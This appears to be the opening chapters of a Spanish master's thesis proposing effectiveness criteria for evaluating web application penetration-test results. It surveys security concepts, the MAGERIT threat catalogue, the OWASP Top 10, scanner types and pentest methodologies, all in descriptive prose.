@
UNIVERSIDAD
INTERNACIONAL unl
DE LA RIOJA

Universidad Internacional de La Rioja
Master universitario en Ingenieria de Software y
Sistemas Informaticos

Metodologia para la
evaluacion efectiva
de pruebas de
penetracion para la
aplicacion en el
desarrollo de
aplicaciones web

Trabajo Fin de Master

Tipo de trabajo: Desarrollo de metodologias
Presentado por: Desiderio Sanchez, Kattya Roxana
Director/a: Alonso Secades, Vidal




Kattya Roxana Desiderio Sanchez Master Universitario en Ingenieria de Software y Sistemas
informaticos

Resumen

Evidentemente el crecimiento de la tecnologia y el aumento de usuarios de internet ha incidido
a que empresas opten también por brindar servicios online. Sin embargo, también ha dado
lugar a que ciberdelincuentes creen cada vez nuevas formas de poder vulnerar el sistema de
una empresa alojado en un sitio web. Es por ello, que cada vez mas empresas optan por
contar en sus sitios mecanismos que resguarden la seguridad del servicio digital que proveen
a sus clientes, contratando asi a empresas que realicen auditorias de seguridad y que éstas
les suministren un reporte indicando las vulnerabilidades encontradas para poder tratarlas y
asi garantizar la fiabilidad y seguridad en su sistema. El objetivo de este trabajo es establecer
una metodologia que por medio del uso de criterios de efectividad se compruebe que los
resultados obtenidos en las pruebas de penetraciéon son efectivos. La metodologia que se
propone es que, en las etapas del proceso de una prueba de penetracion, se evalué los

resultados usando criterios de efectividad ademas de realizar la auditoria manual.

Palabras Clave: efectividad, pruebas de penetracion, escaneres de vulnerabilidad
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Abstract

Obviously, the growth of technology and the increase in Internet users has influenced
companies to also choose to provide services online. However, | have also resulted in
cybercriminals increasingly creating new ways to violate a company's website-hosted system.
That is why, every time more companies choose to have mechanisms on their sites that
safeguard the security of the digital service that they demonstrate to their clients, thus hiring
companies that perform security audits and that protect the supplies of a report indicating
vulnerabilities. found to be able to treat them and thus treat the reliability and security in your
system. The objective of this work is to establish a methodology that through the use of
determination criteria verifies that the affected results in the penetration tests are effective. The
proposed methodology is that, in the stages of the penetration test process, the results are

evaluated using methodology criteria in addition to performing the manual audit.

Keywords: effectiveness, penetration tests, vulnerability scan
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1. Introduccion

El avance de la tecnologia y surgimiento de la era digital, ha dado lugar a la transformacion
informatica que tenemos en este momento. Cada dia mas empresas se van sumando a la
lista de empresas que han migrado su negocio a internet también llamada nube informatica,
gracias a que existen en la actualidad servicios que permiten a las empresas digitalizar sus

procesos y llevar la administracion de su negocio de manera virtual.

Existen en la red cada vez mas herramientas que ofrecen una solucioén para cualquier tipo de
requerimiento y usuario. Tal es el caso, que el uso de las aplicaciones web poco a poco han
llegado a ser parte de nuestro dia a dia, con ellas podemos hacer desde una consulta a
nuestra cuenta bancaria desde la pagina web de nuestro banco hasta manejar nuestro correo
electronico. Lo que, si bien a los ojos de muchos usuarios ofrece muchas ventajas y
beneficios, por otro lado, algunas aplicaciones pudieran contar con un nivel de seguridad de

la informacion deficiente.

Miles y miles de datos viajan a través del internet debido a las aplicaciones web, pero no todas
comparten un nivel de seguridad que se considere bueno por las empresas de seguridad
informatica. Ataques que atentan contra la seguridad de la informacion se han suscitado en
los ultimos afios y han dejado en evidencia este problema que acarrea muchos inconvenientes
no solo para la empresa que tiene su aplicacion en la red, sino a los mismos usuarios que son
victimas de hackers informaticos que buscan los fallos o vulnerabilidades en el software para
cometer actos ilegales que atenten contra los pilares de la seguridad: la confidencialidad, la

integridad y la disponibilidad.

Esto ha dado como resultado que las empresas que buscan ofrecer un servicio seguro a sus
usuarios, contraten a hackers éticos para que busquen todas las vulnerabilidades que tiene
su producto de software, analizarlas y den una recomendacion para minimizar el riesgo
asociado. Estos hackers éticos son personas que buscan vulnerabilidades utilizando
herramientas que usarian hackers no éticos, llamados escaneres de vulnerabilidades o
herramientas de analisis dindmico que permiten ejecutar un escaneo controlado con

diferentes niveles de ataques.

En el mercado existen diferentes clases de herramientas que nos permiten detectar
vulnerabilidades, pero es necesario conocer todo lo que respecta a como se realizan estos

analisis. Se debe conocer el objetivo, los pasos o fases a realizar, técnicas que permitan
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extraer todo el conocimiento del estado de mi aplicacion web y sacar la maxima cantidad de

findings.

1.1 Justificacion

La automatizaciéon que nos ofrecen estos escaneres permite aumentar el tiempo de eficiencia
y, en consecuencia, la rentabilidad de la deteccion de vulnerabilidades ofreciendo la promesa
de permitir a los desarrolladores centrarse en la codificacion y el disefio en lugar de tener que

convertirse en testers expertos de seguridad.

Actualmente existen articulos cientificos que evaluan la efectividad de algunas herramientas
de escaneos de vulnerabilidad para aplicaciones web y reportan resultados que son obtenidos

de experimentos controlados y sistematicos.

Aunque si bien existe libertad en la eleccion de seleccionar un escaner de vulnerabilidad web
el factor dinero o flexibilidad presupuestaria es determinante en la decisiéon de que escaner
seleccionar, dentro de las funciones de deteccidon de vulnerabilidades que se buscan son: la
precision, la cobertura y la estabilidad, pero también debe ser considerado fuertemente la

realidad financiera de las empresas.

Autores como (Nurmyshev & Kozhakhmet, 2016) (Antunes & Vieira, 2016) exponen los otros

inconvenientes de los escaneres de vulnerabilidad y estos son:

1. Solo instantanea: un escaner de vulnerabilidad solo puede evaluar una "instantanea
del tiempo" en términos de seguridad de un sistema o red. Por lo tanto, el escaneo se
debe realizarse regularmente, ya que pueden surgir nuevas vulnerabilidades al
sistema, y si el sistema es alterado se debe realizar un nuevo escaneo.

2. Se necesita el juicio humano: los escaneres de vulnerabilidad solo pueden informar
vulnerabilidades de acuerdo a los complementos instalados en la base de datos de
escaneo. No pueden determinar si la respuesta es un falso negativo o un falso positivo
correcto, el juicio humano siempre es necesario para analizar los datos y comprobar
la veracidad de los resultados.

3. Otros: un escaner de vulnerabilidades esta disefiado para descubrir solo
vulnerabilidades conocidas. No puede identificar amenazas que no estan en la base
de conocimiento de la herramienta, como las relacionadas con problemas fisicos,

operativos o cuestiones de procedimiento.
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Inclusive si hablamos de las limitaciones de los dos tipos de herramientas que existen:
geneéricas y especializadas, las genéricas a menudo se seleccionan ya que pueden detectar

un amplio espectro de vulnerabilidades, aunque tengan baja efectividad.

La construccion de herramientas efectivas requiere técnicas innovadoras que tengan en
cuenta todos los diferentes vectores de entrada que puedan tener las estructuras encontradas

en la etapa pasiva del escaneo.

La idea de que los diferentes componentes de las herramientas implementen caracteristicas
especificas, de manera desacoplada y modular, permitiendo disefiar y mejorar la herramienta
facilmente, es el enfoque que se ha trabajando en los ultimos afos con el fin de no solo

aumentar los findings sino también mejorar la efectividad de los resultados.

De acuerdo con diversos autores, la cuantificacion de la calidad del escaner de seguridad de
aplicaciones web se puede lograr desafiando las caracteristicas del escaner de seguridad

sometiéndolo a diversas pruebas con diferentes niveles de ataque, tipo y objetivo.

Los escaneres de seguridad de aplicaciones web se cuantifican para aclarar su cobertura de
prueba, eficiencia de escaneo, cobertura de ataque y la capacidad de detectar una clase de

vulnerabilidad de aplicaciones web.

Los resultados de los experimentos controlados presentados por los autores expresan que
una herramienta es efectiva si esta posee un tasa baja de falsos positivos (relacion entre el
numero total de vulnerabilidades reportadas y el numero de vulnerabilidades reportadas que
no lo son) aceptable para ellos y otros en cambio sefialan que la efectividad debe estar sujeta
a no solo concentrar los esfuerzos en revisar los resultados sino que adicionalmente seguir
una serie de pasos que implican una planificacion a detalle de las pruebas que se van a
realizar, con sus valores de entradas, URLs a analizar y demas, solo asi es como ese otro

grupo de autores afirman que sus resultados son efectivos y tienen otro nivel de veracidad.
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1.2 Planteamiento del trabajo

La innovacion permite poder reinventar cosas que ya se plantearon en su momento con un
nuevo giro, dicho esto, se plantea en este trabajo poder contribuir con un nuevo nivel de
veracidad que puede ser aplicado a los resultados de la ejecucion de pruebas de penetracion

en los escaneres de vulnerabilidades.

Como ya mencionamos existen algunos elementos a considerar antes y después de realizar
una prueba de penetracién. Lo que se propone en este trabajo es poder realizar una
verificacion a los resultados, por medio de la creacién de criterios de efectividad que busquen

medir elementos observables y medibles que se presentan al ejecutar las herramientas.

Estos criterios se estableceran en base esos elementos o factores que se presentan en las
etapas del proceso de una prueba de penetracién, con el fin establecer otro nivel de
comprobacion a los resultados, para respaldar el nivel de confianza de la herramienta, el nivel

de expertiz del auditor y la calidad de las pruebas de penetracion planteadas.

Esto es de suma importancia ya que poder corroborar la veracidad de los resultados, es
imperativo para un auditor, ya que asi se puede obtener un reporte final mucho mas detallado
de las vulnerabilidades que contiene el software objetivo y permite desarrollar un plan de

mitigacién mucho mas real, que es clave para una empresa que es auditada.

Un informe que contenga informacién valiosa como cuales son las URLs que tiene una alta
probabilidad de ser explotadas, he incluso tener los sets con los valores de entradas que
puede hacer que un sistema falle o falle parcialmente es una excelente arma para que los
ingenieros puedan tomar decisiones acerca de como mejor su seguridad, con reestructuracion
de cdédigo, reforzando protocolos de autenticacion, denegacion de consultas externas a la

base de datos, etc.
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1.3 Estructura de la memoria

En el capitulo uno que corresponde al estado del arte, se dara a conocer cual es el panorama
de las empresas en el mercado con respecto a seguridad, cuales son los enfoques que se
utilizan para realizar escaneos de vulnerabilidad, las herramientas de software que realizan

este trabajo, sus inconvenientes y como son afectados los resultados.

El capitulo dos consistira en describir cuales son los objetivos generales y especificos que se
plantearon para este trabajo de fin de master y ademas describir la metodologia de trabajo

que se utilizo.

El capitulo tres sera el que describa la metodologia efectiva que se propone para asegurar
efectividad en los resultados de las herramienta de escaneo, ademas de reportar como se
llevo a cabo la aplicacion de la metodologia, las caracteristicas de la aplicacién web que se
utilizé, el numero de anomalias que se reporté en la herramienta de escaneo y que
vulnerabilidades se sumaron a la lista de resultados por cada nivel de ataque realizado y

particularidades encontradas al analisis de efectividad.

En el siguiente capitulo tendremos las conclusiones de la verificacion de la metodologia
propuesta con todas las observaciones y incidencias que se presentaron en todo el proceso
de construccién, aplicacién y reporte de resultados.

También se expondran algunas lineas de trabajo futuras en la que se describira las

variaciones que puede tener el experimento.

Por ultimo, detallaremos la lista de autores de las cuales son sirvieron de inspiracién y ayuda

para poder construir este trabajo.
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2. Contexto y estado del arte

2.1 El crecimiento de la tecnologia

El crecimiento del internet y el aporte de nuevas tecnologias beneficié al crecimiento de
industrias que desarrollan software. Cada vez es mas comun que empresas pequefas con
diferentes modelos de negocio migren sus procesos manuales a un software que le facilite su
trabajo y les ahorre tiempo, gracias a la evolucién que ha tenido la tecnologia a través de los
anos. Craig Barrett dijo, “Ha habido una serie interminable de desafios de ingenieria, y eso es
lo que ha atraido a ingenieros inteligentes que no entienden que se supone que no pueden

resolver estos problemas” (Mannion, 2005).

Es asi, como venciendo desafios y obstaculos que se han presentado en los caminos de los
ingenieros a lo largo de la historia, ha incidido al avance tecnolégico que vemos hoy en dia.

Tomando de ejemplo a como las empresas guardaban y almacenaban la informacién de sus
negocios, haciendo uso de dispositivos de almacenamiento fisico y como fueron dejados a un
lado, debido a la necesidad de los usuarios de poder administrar mejor la informacion,
migrandola a plataformas que cuentan ya con servicios que gestionan la informacion en la

red, la también llamada red de redes.

La innovacion y el desarrollo tecnolégico son factores elementales para el desarrollo y
competitividad de las empresas (Zayas Barreras, Parra Acosta, Lopez Arciniega, & Torres
Sanchez, 2015), de alli nace la necesidad del cambio y de permitir el progreso, puesto que
este debe estar dentro de los objetivos organizacionales de toda empresa que desee continuar
en el mercado y es por esta razén que estar al tanto del desarrollo tecnologico cada dia se ha

vuelto una necesidad para la sobrevivencia.
2.2 Panorama de la tecnologia y seguridad en las empresas

Una aplicacién web es una pagina web especial que posee una base de datos asociada que
permite una mayor interaccion del usuario y a la que accedemos a través de un navegador
utilizando internet o una intranet (Ramos Martin, 2014) y gracias a la evolucion de las
telecomunicaciones estas estan disponibles las 24 horas para satisfacer los requerimientos
de n cantidad de usuarios, por lo que se puede decir que actualmente todos somos usuarios
de aplicaciones web.

Debido a la versatilidad de las aplicaciones web contamos con servicios de almacenamiento,
de gestion de tareas, de gestidn de proyectos, inclusive podemos realizar transacciones
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bancarias o compras en la red. Estos dos ultimos, por ejemplo, son sistemas en la red que
son mucho mas complejos, que no solo estan dirigidos para un grupo objetivo en particular,

sino que comparten la importancia de contar con seguridad de la informacion.

Para Aguilera Lopez, con respecto a la seguridad informatica: “Lo que no esta permitido debe
estar prohibido” (2010). Un aspecto importante a recalcar es que la mayoria de los fallos de
seguridad se deben al factor humano y todos los elementos que participan en un sistema de
informacion pueden verse afectados por fallos de seguridad. Toda informacion que se maneje
en esta clase de sistemas debe ser protegida, ya que, si cualquier persona ajena al sistema
llega a acceder, no solo se deja en evidencia al usuario sino también al tipo de servicio que

ofrece la empresa, convirtiéndolo claramente en un riesgo.

Urbina define a la seguridad de la informacion de la siguiente manera: “La seguridad
informatica es la disciplina que, con base en politicas y normas internas y externas de la
empresa, se encarga de proteger la integridad y privacidad de la informacién que se encuentra
almacenada en un sistema informatico, contra cualquier tipo de amenazas, minimizando los

riesgos tanto fisicos como légicos, a los que esta expuesta” (2016).

Tal es el caso que, no es suficiente tener nombres de usuarios y contrasefas, sino que se
requiere tener reglamentos y diversas politicas de privacidad y proteccion de datos,
igualmente debe ser integral y encajar en una empresa sin problemas (Martelo & Madera,
2015). La informacion es tan valiosa tanto en el ambito personal como en el de las empresas
y es por esta razén que es considerada fundamental para la vida de todo ser vivo (Urbina,
2016).

Un riesgo es la medida del probable dafio que causara una amenaza, que aprovecha una

vulnerabilidad para causar dafio (Albacete, 2015).

La norma ISO 17799 apoya tres aspectos o “principios de seguridad” esenciales (Albacete,
2015). El primero que es la confidencialidad, que se refiere a que la informacion solo este
accesible para quien este autorizado. Le sigue la integridad que indica que la informacién
debe ser exacta y completa, de manera que solo pueda modificarla quien esté autorizado y
por ultimo la disponibilidad, que trata que la informacién debe poder ser accesible cuando sea

necesario (Carpentier, 2016).

Cada uno de los conceptos mencionados resumen los objetivos de la seguridad de la

informacion y algunos autores los conocen como “Triada de la Seguridad™ o "CIA” (empleando
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las iniciales de los términos en ingles confidentiality o confidencialidad, integrity o integridad,

y availability o disponibilidad).

La norma ISO/IEC 27000 es un estandar de gestion que define una metodologia para llevar a
cabo la implementacion de un Sistema de Gestion de Seguridad de la Informaciéon o SGSI
(Gémez Orozco, 2013). La informacion puede estar soportada en diferentes elementos que
permiten el flujo de los datos y el acceso a esta por parte de los empleados, clientes y en
diferentes casos hasta de terceros, por lo que deben ser gestionados y mantenidos

correctamente para dar cumplimiento a los principios de seguridad.

Una amenaza citando textualmente del glosario de la ISO 27000 se define como: “es la causa
potencial de un incidente no deseado, el cual puede causar dano a un sistema o la
organizacion”. Albacete indica que, para determinar las amenazas o encontrar nuevas, se
pueden clasificar como: naturales o artificiales, las relacionadas al entorno o al hombre y las
accidentales o intencionadas. Para esto el autor expone un conjunto de amenazas frecuentes
que es un extracto del catalogo de amenazas de MAGERIT. MAGERIT es el acronimo que se
le da a la Metodologia de Analisis y Gestion de Riesgos de los Sistemas de Informacion, que
tiene como objetivo ofrecer un método sistematico para analizar riesgos, concienciar a las
organizaciones de la necesidad de gestionar los mismos y ayudar a descubrir y planificar el
tratamiento oportuno de estos (Cordero Torres, 2015).

A continuacién, se presenta una tabla de un extracto propio del catalogo de amenazas de
MAGERIT.

Tabla 1. Catalogo de amenazas

Catalogo de amenazas

Origen Amenaza Riesgos Usuales
Desastres Incendios Que el fuego acabe con los recursos
Naturales del sistema

Inundaciones Que el agua acabe con los recursos
del sistema

Rayo, tormenta eléctrica Destruccion de sistemas
electrénicos

Industrial Corte del suministro eléctrico Parada de sistemas

Sobrecarga eléctrica, Destruccién de sistemas

fluctuaciones eléctricas electrénicos

Condiciones inadecuadas de Destruccién de componentes

temperatura y humedad
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Fallo de servicios de

comunicaciones

Parada de sistema

Errores y fallos

Errores de los usuarios

Pérdida de informacion

no Errores del administrador Parada de sistema, ausencia de
intencionados seguridad y trazabilidad
Errores de configuracion Parada de sistema, ausencia de
seguridad y trazabilidad
Difusion de software dafiino Parada de sistema, ausencia de
(virus, spyware, gusanos, seguridad y trazabilidad
troyanos)
Escape de informacién: la Pérdida completa de
informacion llega a quien no confidencialidad
debe
Alteracion de la informacion: la Pérdida completa de integridad
alteracion accidental de la
informacion
Vulnerabilidad de los programas | Paradas del sistema y/o pérdida de
(defectos en el cédigo que integridad
producen errores)
Caida del sistema por Paradas del sistema
agotamiento de recursos
Ataques Manipulacién de la configuracion | Parada de sistema, ausencia de
intencionados seguridad y trazabilidad

Suplantacién de la identidad del

usuario

Pérdida completa de

confidencialidad e integridad

Repudio

Pérdida de trazabilidad de las

operaciones

Interceptacion de

informacion(escucha)

Pérdida de confidencialidad

Denegacion de servicio

Paradas del sistema

Divulgacion de la informacion

Pérdida de confidencialidad

Ingenieria Social

Parada de sistema, ausencia de

seguridad y trazabilidad

Nota: Albacete, J. F. G. (2015) Seguridad en equipos informaticos. Recuperado de: Catalogo de
amenazas de MAGERIT.
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La vulnerabilidad, a diferencia de la amenaza, se produce a través de una programacion
descuidada o de una mala utilizaciéon del software (Nufiez, 2013), cuando se constituye un
hecho o una actividad que permite que la amenaza se realice y no hay suficiente proteccion

para evitar que suceda.

Son pocas las empresas que se preocupan ademas de brindar un buen servicio, implementar
medidas de seguridad informatica (Gil Vera & Gil Vera, 2017) esto debido a que ven a la
seguridad de la informacién como un gasto y se limitan a implementar controles fisicos de
seguridad creando una falsa sensacion de proteccion (Martinez Cortes, 2015) desprotegiendo

los activos de informacion de una empresa lo que puede generar grandes pérdidas.

Las tecnologias de informacion y comunicaciones (TIC) son recursos esenciales para la
productividad y competitividad de las empresas, por lo que mantener niveles aceptables de
riesgo de la informacién y de los dispositivos tecnolégicos se lo considera imperativo, de
manera de que con el fin de proteger a la informacién, las empresas han optado por crear
buenas practicas de seguridad de la informacion ademas de salvaguardas (Vivar, 2019), ya

que cuantas mas contramedidas se dispongan, menor es el dafio probable.

La informacion ha llegado a convertirse en el activo mas importante de las organizaciones,
para lo cual las personas encargadas de la seguridad de los sistemas informaticos de las
empresas, deben establecer procedimientos y herramientas eficientes para el envié de datos
de una forma segura. Convirtiendo a la seguridad de la informacion en una responsabilidad y
compromiso de las organizaciones segun sea la actividad econémica a la que se dedican:

publicas, privadas o de cualquier otra naturaleza (Guerrero Erazo & Lasso Garces, 2015).

Esto no solo se logra al instalar un antivirus, que en otro momento en el tiempo fue un éxito
pero actualmente toda organizacion que desee protegerse no se puede confiar Unicamente
de estas herramientas (Najar Pacheco & Suarez Suarez, 2015), se debe preservar los activos
informaticos, como la infraestructura tecnoldgica (hardware & software), mediante el uso de
pautas, procedimientos, métodos y técnicas de apliquen seguridad informatica, es asi que se

protege los bienes materiales e inmateriales.

Es imposible alcanzar la completa ausencia de inseguridad (Albacete, 2015) de modo que las
amenazas tecnologicas son parte de nuestra cotidianeidad y mas aun de la vida
organizacional (Valencia Duque, 2017). La seguridad de la informacion es una disciplina

asociada tradicionalmente a la gestion de las tics. Por lo tanto, el descuido en los controles y
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el uso inadecuado de la informacién en las organizaciones incide a tener mayor probabilidad

a que sistemas sean vulnerados (Guerrero Erazo & Lasso Garces, 2015).

Existe informacién que solo debe ser de conocimiento de la empresa y como tal debe ser
protegida, para lo cual debe contarse con la tecnologia adecuada y personal capacitado. Esto
se logra con una suficiente inversidon que minimice riesgos, ya que la informacion al circular
por la red esta altamente expuesta a vulnerabilidades que pueden ser aprovechadas por

organizaciones cibercriminales (Najar Pacheco, 2017) .

2.3 Tipos de ataques y enfoques para combatirlos

La inseguridad en Internet ha ido en aumento (Najar Pacheco, 2017), tanto que algunas
companias han decidido preocuparse por este tema, lo que ha dado lugar a que empresas de
seguridad informatica se creen. El uso del internet para la prestacion de diversos servicios en
diferentes sectores de la sociedad y el aumento en el numero de ataques aprovechando las
vulnerabilidades o fallos de seguridad (Hernandez Saucedo & Mejia Miranda, 2015) han sido

factores para que las empresas busquen protegerse.

Dentro de los principales ataques segun (Hernandez Saucedo & Mejia Miranda, 2015) que
estan basados en vulnerabilidades se encuentran, por ejemplo, los de Inyeccion SQL o de
sistemas operativos, los de secuencia de comandos en sitios cruzados, los de falsificacion de

peticion en sitios cruzados, entre otros.

La fundacién OWASP es una organizacion sin animo de lucro establecida en 2004, que se
encarga de la concepcién, desarrollo, adquisicion, operacion y mantenimiento de aplicaciones
confiables para la seguridad de sistemas y para el uso de cualquier organizacion que lo
necesite (Roman Mufioz, 2018). Las clasificaciones de las vulnerabilidades web mas
relevantes hasta el momento son las que realizan las organizaciones como: Open Web
Application Security Project (OWASP) y Web Apllication Security Consortium (WASC).

El consorcio de seguridad para aplicaciones web o WASC es también un organismo sin animo
de lucro, que tiene como objetivo desarrollar estandares de seguridad y esta formado por un
grupo internacional de expertos, profesionales y organizaciones de seguridad de la

informacion (Roman Mufioz, 2018).
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OWASP realiza periédicamente la clasificacion de los fallos de seguridad mas criticos para
las aplicaciones web, llamado OWASP Top 10. Mientras que WASC desarrolla y mantiene
una clasificacion de 49 amenazas en aplicaciones web llamada WASC Threat Classification o
WASCTC, que divide las amenazas entre debilidades y ataques, e incluye la fuente de las

amenazas (Roman Mufoz & Sabido Cortes, 2014).

Existen bastantes sectores que se ven afectados por el desarrollo de software inseguro
(Avilés, 2015) y es necesario concientizar acerca de la seguridad de las aplicaciones web, ese

es el objetivo del proyecto OWASP Top 10.

Segun el proyecto “El software inseguro estd minando nuestra salud financiera, el area de
defensa, de energia, y otras infraestructuras criticas. A medida que nuestra infraestructura
digital cada vez es mas compleja e interconectada, la dificultad en la construccion de
aplicaciones seguras aumenta exponencialmente. No es posible tolerar mas los problemas de

seguridad presentados en el Top Ten”.

De acuerdo al OWASP Top 10, se tienen las siguientes vulnerabilidades que son las mas

dafiinas que pueden sufrir las aplicaciones web:

Tabla 2. Top ten de OWASP

Top ten de OWASP

Vulnerabilidades Significado

Inyeccién Las fallas de inyeccion como SQL, NoSql,
OS o LDAP ocurre cuando se envian datos
no confiables a un intérprete, en el que el
atacante engafa al interprete para ejecutar

comandos involuntarios.

Pérdida de autenticacion El atacante tiene Ila posibilidad de
comprometer usuarios y contrasefas,
tokens de sesiones o explotar otras fallas de
implementacién para asumir la identidad de

otros usuarios.

Exposicion de datos sensibles Los atacantes pueden atacar o modificar
datos como informacion financiera, de salud

o personal, con el fin de llevar a cabo fraudes
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con tarjetas de crédito, robos de identidad u

otros delitos.

Entidades externas XML (XXE)

Las entidades externas pueden utilizarse
para revelar archivos internos en servidores
no actualizados, escanear puertos de la
LAN, ejecutar codigos programados de
forma realizar

remota y ataques de

denegacion de servicio (DOS).

Pérdida de control de acceso

Los atacantes pueden explotar los defectos
que tienen las aplicaciones web para

acceder de forma no autorizada a
funcionalidades y/o cuentas de otros

usuarios.

Configuracién de seguridad incorrecta

Se debe en parte a establecer la
configuracion de forma manual, ad hoc o por
omision. Por ejemplo: cabeceras HTTP mal
falta de

dependencias y

configuradas, parches vy
actualizaciones,

componentes desactualizados, etc

Secuencia de comandos en sitios cruzados
(XSS)

Ocurre cuando una aplicacién toma datos no
confiables y los envia al navegador web sin
una validacion y codificacion adecuada.
Permite ejecutar comandos en el navegador
de la victima y el atacante puede obtener
una sesion, modificar los sitios web o re

direccionar al usuario a un sitio malicioso.

Deserializacion Insegura

Ocurre cuando una aplicacion recibe objetos
serializados dafiinos y estos objetos pueden
ser manipulados o borrados por el atacante
para realizar

ataques de repeticidn,

inyecciones o elevar sus privilegios.

Componentes con vulnerabilidades

conocidas

Si se explota un componente vulnerable, el
ataque puede provocar una pérdida de datos
o tomar el control del servidor, en el cual se

puede debilitar las defensas de las
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aplicaciones y permitir diversos ataques e

impactos.

Registro y monitoreo insuficientes Permite al atacante mantener el ataque en el
tiempo, pivotear a otros sistemas vy

manipular, extraer o destruir datos.

Nota: Elaboracién de Arias, Angel (2019). “Analisis de vulnerabilidades de servidores virtuales, caso
practico servicios web informaticos de la ESPOCH”.

En cuanto a las técnicas que utilizan los programas de analisis para detectar vulnerabilidades,
autores indican que pueden ser divididos en tres categorias principales: el analisis estatico, el
andlisis dinamico y el hibrido (Mohammad Ghaffarian & Reza Shahriari , 2017).

Sin embargo, existen técnicas que suelen ser dedicadas exclusivamente a un tipo de objetivo.
Por ejemplo, si hablamos de la deteccidén de vulnerabilidades en aplicaciones web se puede

realizar solo dos tipos de analisis: Dinamico y Estatico (Vega, 2016).

El analisis estatico es la revision de los posibles fallos existente a nivel interno, se posee el
codigo fuente para buscar las vulnerabilidades que puedan dar lugar a un fallo. Esto implica
descubrir un subconjunto de entradas con el que un usuario malintencionado o atacante,
puede explotar errores logicos en un sistema para conducirlo a un estado inseguro (Shah &
Mehtre, 2014), detectarlo y corregirlo.

De hecho, las herramientas que permiten este tipo de analisis son conocidas como

herramientas de prueba de caja blanca.

Vega indica que existen cinco técnicas para realizar el analisis estatico, a continuacion, se

describe cada una brevemente.

1. Analisis de flujo de datos: Comprueba el comportamiento de los datos de prueba para
el analisis verificando su paso a través de las funcionalidades de la aplicacion. Esta
técnica permite descubrir la declaracion de variables que no han sido utilizadas o el
uso de variable que no han sido declaradas previamente.

2. Analisis de control de flujo: Verifica la estructura de la aplicacion y desarrolla casos de
prueba en base a su estructura. Esta técnica se encarga de cubrir toda la estructura
de control de la aplicacion.

3. Analisis de ruta: Verifica todos las posibles rutas o caminos que puede tomar la
aplicacion cuando esté en ejecucion con un determinado grupo de datos de entrada.
Se la considera una técnica efectiva y se usa para verificar aplicaciones muy

complejas.

20

Metodologia para la evaluacion efectiva de pruebas de penetracion para la aplicacion en el desarrollo de aplicaciones web



Kattya Roxana Desiderio Sanchez Master Universitario en Ingenieria de Software y Sistemas
informaticos

4. Analisis de condicionante: Constata que la implementacion de las condiciones dentro
de la aplicacion y los datos de prueba que se utilizan en el analisis se verifiquen al
menos una vez.

5. Analisis de bucle: Se enfoca en la correcta implementacion de los bucles dentro de la

aplicacion. Entres los tipos de bucles tenemos: simple, anidado y concatenado.

Asi como tenemos al analisis estatico, el dinamico por otro lado es un tipo de prueba que
verifica el comportamiento de una aplicacién ante distintos parametros y condiciones (Vega,
2016).

Este tipo de prueba es realizado por software especializado conocido como herramientas de
pruebas de penetracion o de caja negra, estas pruebas no hacen necesarias tener el codigo
fuente para realizar el analisis de la aplicacion web que se analiza, basta con que la
herramienta permita interceptar las solicitudes maliciosas enviadas por el escaner de

vulnerabilidad web.

Un test de penetracién es un intento de comprometer la seguridad utilizando las mismas
técnicas empleadas por un atacante (Areitio, 2009).

Areitio, expone algunas razones del por qué de los test de penetracion y estos son:

1. Para medir la seguridad de un sistema, red o proceso de negocios por parte de una
tercera parte.
Para valorar los posibles riesgos.

Para hacer a la alta direccion “consciente de la seguridad”.

La exploracion de vulnerabilidades en general proporciona una base que permite empezar a
construir un perfil de riesgo, porque estos tests muestran lo que las vulnerabilidades significan

para la organizacion y pueden ayudar a verificar lo que se esta haciendo mal.
2.4 Herramientas para analisis dinamico

Una herramienta de analisis dinamico de vulnerabilidades web o escaner de vulnerabilidad
web, es un software que analiza de manera funcional por medio de politicas definidas que
varian de acuerdo a la herramienta, busca vulnerabilidades que puedan ser explotadas y que
logren provocar un comportamiento que deje en evidencia algun fallo en el cédigo de la

aplicacion web (Vega, 2016).
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Adicionalmente, la manera en que las herramientas analizan las vulnerabilidades puede ser
de dos tipos: automatica o semiautomatica, pero para que inicie el analisis, se le debe

proporcionar una URL o URLS de la aplicacion que sera el objeto del ataque.

Hoy en dia, empresas de software se han preocupado por crear herramientas para detectar
vulnerabilidades, algunas son gratuitas y otras comerciales o bajo pago, pero sea cual sea
tienen todas como objetivo proporcionar una busqueda automatica de vulnerabilidades
evitando la repetitiva y tediosa tarea de hacer cientos o incluso miles de pruebas a mano
(Antunes & Vieira, 2016).

En cada una de estos grupos existen ademas herramientas de tipo (Vega, 2016):

o Especializadas: Disefiadas para buscar determinadas vulnerabilidades, ya que poseen
una base de conocimiento que les permite generar parametros de entrada para realizar
los ataques. Por ejemplo, de solo vulnerabilidades de tipo Inyeccion SQL o de sitios

cruzados.

e Genéricos: Creadas para detectar la mayoria de vulnerabilidades conocidas y ademas
permitir ofrecer una capacidad de busqueda especializada, porque cuentan con una
amplia gama de caracteristicas que les permiten descubrir mayor cantidad de

vulnerabilidades de distintas clases.

Cabe anadir que las herramientas de deteccion automatica se han vuelto populares ya que
sirven como apoyo a los profesionales en la busqueda de esas vulnerabilidades (Méndez
Leodn, 2016) y actualmente en el mercado contamos con software que nos permiten llegar a
cabo este proceso (Lopez de Jiménez, 2017) (Ramos Ramos, 2013) que se basan en
metodologias o guias para la realizacion de pruebas de penetracion como lo son: OSSTMM,
OWASP, PTES, ISSAF y CVSS.

La siguiente tabla indica algunas de esas metodologias que se utilizan desde la perspectiva

de las aplicaciones web.
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Tabla 3. Metodologias / Guias aplicadas a aplicaciones web

Metodologia/Guia

Descripcion

ISSAF (Information System Security
Assessment Framework) o Marco de
Evaluacion de Seguridad de Sistemas de

Informacion

Organiza la informacion en base a criterios de

evaluacion, escritos y revisados por expertos.

PCI DSS (Payment Card Industry Data
Security Standard)

Es un método desarrollado por las compainiias
de tarjetas de débito y de crédito mas
importantes. Es una guia para que las
organizaciones que procesan, almacenan vy
transmiten datos de los titulares de las tarjetas

manejen un estandar de seguridad.

OSSTMM (Open Source Security Testing
Methodology Manual)

Este modelo sirve como referente para las
organizaciones que precisan de un pentesting

de calidad, ordenado y eficiente.

El Estandar para la Ejecucion de Pruebas
de Penetracion o PTES (Penetration

Testing Execution Standard)

Es un estandar que este puesto en practica por
muchos profesionales de prestigio, ademas de
ser un modelo a seguir en libros de aprendizaje

asociados a realizar pentesting.

La Guia de Pruebas de OWASP (OWASP
Testing Guide)

Propone una guia de buenas practicas en la
codificacion de software, intregrandolas en el
ciclo de desarrollo de aplicaciones para

minimizar vulnerabilidades.

Nota: Elaboracion propia basada en Gonzalez Brito, H. R., & Montesino Perurena, R. (2018).
Capacidades de las metodologias de pruebas de penetracion para detectar vulnerabilidades frecuentes
en aplicaciones web. Revista Cubana de Ciencias Informaticas, 12(4), 52-65.

